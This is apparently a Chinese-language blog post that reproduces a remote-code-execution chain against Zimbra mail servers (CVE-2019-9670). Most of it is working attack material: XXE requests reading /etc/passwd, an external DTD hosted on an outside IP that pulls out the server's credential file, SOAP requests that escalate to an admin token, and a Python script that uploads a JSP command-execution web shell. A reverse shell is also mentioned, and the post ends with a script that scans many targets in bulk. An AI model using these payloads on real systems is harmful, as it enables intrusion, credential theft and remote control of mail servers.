前言
zimbra-RCE漏洞复现
正文
搭建zimbra环境,参考:https://www.jianshu.com/p/722bc70ff426
CVE-2019-9670
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| POST /Autodiscover/Autodiscover.xml HTTP/1.1 Host: 192.168.199.220:7071 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/xml Content-Length: 346
<!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a"> <Request> <EMailAddress>aaaaa</EMailAddress> <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema> </Request> </Autodiscover>
|
因为Zimbra的配置文件是在 /conf/localconfig.xml 里面,其中保存了一些配置信息的用户名和密码。
所以我们要读取该文件的内容,但是由于xml文件会在解析器中被解析,无法以文本形式,通过XXE漏洞被读出。所以我们需要加上<![CDATA[]]>
。这样才能将该配置文件以文本读出。同时内部实体中无法使用拼接上这个<![CDATA[]]>
。这时候就要用上外部DTD
在VPS上托管一个DTD文件
1 2 3 4
| <!ENTITY % file SYSTEM "file:../conf/localconfig.xml"> <!ENTITY % start "<![CDATA["> <!ENTITY % end "]]>"> <!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
|
然后重放攻击执行如下:
1 2 3 4 5 6 7 8 9 10 11
| <!DOCTYPE Autodiscover [ <!ENTITY % dtd SYSTEM "http://39.96.34.231/c0okb.dtd"> %dtd; %all; ]> <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a"> <Request> <EMailAddress>aaaaa</EMailAddress> <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema> </Request> </Autodiscover>
|
利用已经得到的密码获取低权限的token
1 2 3
| POST: /service/admin/soap
Ps: 修改Content-Type: application/xml
|
XML的内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| POST /service/admin/soap HTTP/1.1 Host: 192.168.199.220:7071 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/xml Content-Length: 464
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"> <soap:Header> <context xmlns="urn:zimbra"> <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/> </context> </soap:Header> <soap:Body> <AuthRequest xmlns="urn:zimbraAccount"> <account by="adminName">zimbra</account> <password>ITMP4rszs</password> </AuthRequest> </soap:Body> </soap:Envelope>
|
此时获得一个低权限token
接下来要去获取一个高权限的token
我直接修改xmlns
中的zimbraAccount
为zimbraAdmin
,然后获取到ZM_ADMIN_AUTH_TOKEN
其实挺迷的,官方的方法是利用SSRF漏洞通过proxy接口,访问admin的soap接口获取高权限Token
1 2 3 4 5
| Post: /service/proxy?target=https://1270.0.1:7071/service/admin/soap Ps: (1)HOST:后面加端口7071 (2)Cookie中设置Key为ZM_ADMIN_AUTH_TOKEN,值为获取到的低权限token (3)发送获取普通权限token的body内容,但是将AuthRequest的xmlns改为: urn:zimbraAdmin
|
然后使用高权限Token通过脚本访问,上传shell
1 2 3 4 5 6 7 8 9 10 11 12 13
| import requests
file= { 'filename1':(None,"whocare",None), 'clientFile':("ss.jsp",r'<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>',"text/plain"), 'requestId':(None,"12",None), } headers ={ "Cookie":"ZM_ADMIN_AUTH_TOKEN=0_bfb8ff8e683758cbc2accc0803b318c1d09b32d1_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313630353838323832363732383b61646d696e3d313a313b747970653d363a7a696d6272613b7469643d393a3934383437373031313b", "Host":"foo:7071" } r=requests.post("https://192.168.199.220:7071/service/extension/clientUploader/upload",files=file,headers=headers,verify=False) print(r.text)
|
最后访问https://192.168.100.220:7071/downloads/ss.jsp
访问时cookie中带上高权限token,getshell成功
接着反弹shell,将冰蝎马通过脚本上传到服务器中,访问该冰蝎马
反弹shell成功
fofa中搜索一下
附上自己写的漏洞检测工具
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import requests
def zimbraCheck(url): url1 = url url = "https://"+url + ":7071/Autodiscover/Autodiscover.xml" headers ={ "Content-Type":"application/xml", "Cookie":"ZM_TEST=true" }
xml = ''' <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a"> <Request> <EMailAddress>aaaaa</EMailAddress> <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema> </Request> </Autodiscover> ''' r = requests.post(url=url,headers=headers,data=xml.encode('utf-8'),verify=False) if "Error 503 Requested response" in r.text: print("THis Is fIne----------------------------------------: "+url1+"\n")
else: print(url1+'no')
if __name__ == "__main__": with open('test1.txt','r') as f: lines = f.readlines() for i in lines: i = i.strip('\n') zimbraCheck(i)
|